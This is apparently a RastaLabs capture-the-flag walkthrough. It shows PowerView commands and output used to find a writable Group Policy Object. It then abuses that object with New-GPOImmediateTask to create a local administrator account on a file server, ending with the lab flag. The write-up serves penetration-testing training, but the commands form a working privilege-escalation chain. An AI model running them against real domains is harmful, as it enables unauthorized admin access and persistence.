

using epugh_admin creds, logged in to web01 (10.10.110.10) and from there took rdp of sql01(10.10.122.15) using same creds.

Enumerated GPO, to find weak gpo permission

Reference ---> <https://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/>

using powerview.ps1

Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name \$_.Name} | select IdentityReference -----> gave list of all GPOs [in that look for any weird groups or users]

```
gpo - Notepad
File Edit Format View Help

IdentityReference
-----
CREATOR OWNER
NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS
NT AUTHORITY\Authenticated Users
NT AUTHORITY\SYSTEM
RLAB\Domain Admins
RLAB\Enterprise Admins
RLAB\Infrastructure Support
NT AUTHORITY\Authenticated Users
CREATOR OWNER
NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS
NT AUTHORITY\Authenticated Users
NT AUTHORITY\SYSTEM
RLAB\Domain Admins
RLAB\Enterprise Admins
NT AUTHORITY\Authenticated Users
CREATOR OWNER
NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS
NT AUTHORITY\Authenticated Users
NT AUTHORITY\SYSTEM
RLAB\Domain Admins
```

checked the members of the group , epugh_adm is groupmember [net user epugh_adm /domain]

find the sid of Infrastructure support group and then find which GPO it has permission to

```
Get-NetGPO -ComputerName fs01.rastalabs.local | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | Where-Object { $_.IdentityReference -Eq "RLAB\Infrastructure support" }
```

```
Windows PowerShell 10.10.122.15
PS C:\Users\epugh_adm\Desktop> .ObjectSID -Eq "S-1-5-21-1396373213-2872852198-2055860859-1102" }
PS C:\Users\epugh_adm\Desktop> Get-NetGPO -ComputerName fs01.rastalabs.local | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} > gg.txt
```

```

PS C:\Users\epugh_admin\Desktop>
PS C:\Users\epugh_admin\Desktop> Get-NetGPO -ComputerName fs01.rastalabs.local | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | Where-Object { $_.IdentityReference -Eq "RLAB\Infrastructure support" }

InheritedObjectType : All
ObjectDN             : CN={DCE628BF-341C-4503-8181-3B8865700F6A},CN=Policies,CN=System,DC=rastalabs,DC=local
ObjectType           : All
IdentityReference    : RLAB\Infrastructure Support
IsInherited          : False
ActiveDirectoryRights : CreateChild, DeleteChild, ReadProperty, WriteProperty, GenericExecute
PropagationFlags     : None
ObjectFlags          : None
InheritanceFlags     : ContainerInherit
InheritanceType      : All
AccessControlType    : Allow
ObjectSID            :

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InheritanceFlags     : ContainerInherit
InheritanceType      : All
AccessControlType    : Allow
ObjectSID            :

PS C:\Users\epugh_admin\Desktop> Get-NetOU -GUID "{DCE628BF-341C-4503-8181-3B8865700F6A}" | %{Get-NetComputer -ADspath $_}
fs01.rastalabs.local
PS C:\Users\epugh_admin\Desktop>

```



```
PS C:\Users\epugh_adm\Desktop> Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | Where-Object { $_.IdentityReference -Eq "RLAB\Infrastructure support" }
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```
PS C:\Users\epugh_adm\Desktop>
```

Get-NetOU -GUID "{DCE628BF-341C-4503-8181-3B8865700F6A}" | %{Get-NetComputer -ADSPath \$_} - find out host which has this policy, use the GUID to find out

Get-NetGPO -ComputerName fs01.rastalabs.local | Where-Object { \$_.cn -Eq "{DCE628BF-341C-4503-8181-3B8865700F6A}" } - to find out which policy (policy name) in that particular host

```
PS C:\Users\epugh_adm\Desktop> Get-NetOU -GUID "{DCE628BF-341C-4503-8181-3B8865700F6A}" | %{Get-NetComputer -ADSPath $_}
fs01.rastalabs.local
PS C:\Users\epugh_adm\Desktop> Get-NetGPO -ComputerName fs01.rastalabs.local | Where-Object { $_.cn -Eq "{DCE628BF-341C-4503-8181-3B8865700F6A}" }
}

usncreated : 63684
```

```

displayname           : Test GPO
gpcmachineextensionnames : [{00000000-0000-0000-0000-000000000000}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}][{AADCED64-746C-4633-A97C-D61349046527}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}]
whentchanged          : 27/10/2017 09:50:04
objectclass            : {top, container, groupPolicyContainer}
gpcfunctionalityversion : 2
showinadvancedviewonly : True
usnchanged             : 63835
dscorepropagationdata  : {27/10/2017 08:46:37, 01/01/1601 00:00:00}
name                   : {DCE628BF-341C-4503-8181-3B8865700F6A}
adspath                : LDAP://CN={DCE628BF-341C-4503-8181-3B8865700F6A},CN=Policies,CN=System,DC=rastalabs,DC=local
flags                  : 0
cn                     : {DCE628BF-341C-4503-8181-3B8865700F6A}
gpcfilesyspath          : \\rastalabs.local\SysVol\rastalabs.local\Policies\{DCE628BF-341C-4503-8181-3B8865700F6A}
distinguishedname       : CN={DCE628BF-341C-4503-8181-3B8865700F6A},CN=Policies,CN=System,DC=rastalabs,DC=local
whentcreated           : 27/10/2017 08:42:16
versionnumber           : 4
instancetype            : 4
objectguid              : f8e0c25f-881b-4d90-95b5-a4c0d6a50acc
objectcategory          : CN=Group-Policy-Container,CN=Schema,CN=Configuration,DC=rastalabs,DC=local
ComputerName            : fs01.rastalabs.local

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objectguid               : f8e0c25f-881b-4d90-95b5-a4c0d6a50acc
objectcategory           : CN=Group-Policy-Container,CN=Schema,CN=Configuration,DC=rastalabs,DC=local
ComputerName             : fs01.rastalabs.local

```

PS C:\Users\epugh_adm\Desktop> _



New-GPOImmediateTask -TaskName gop12i -GPODisplayName "Test GPO" -CommandArguments 'net user gopikrishna Ramco@12345 /add' -force

```
New-GPOImmediateTask -TaskName gopi131 -GPODisplayName "Test GPO" -CommandArguments 'net localgroup Administrators gopikrishna /add' -force
```

```
New-GPOImmediateTask -Remove -Force -GPODisplayName "Test GPO"
```

```
icacls flag.txt /grant administrators:F
```

```
RASTA{6p0_4bu53_15_h4rdc0r3}
```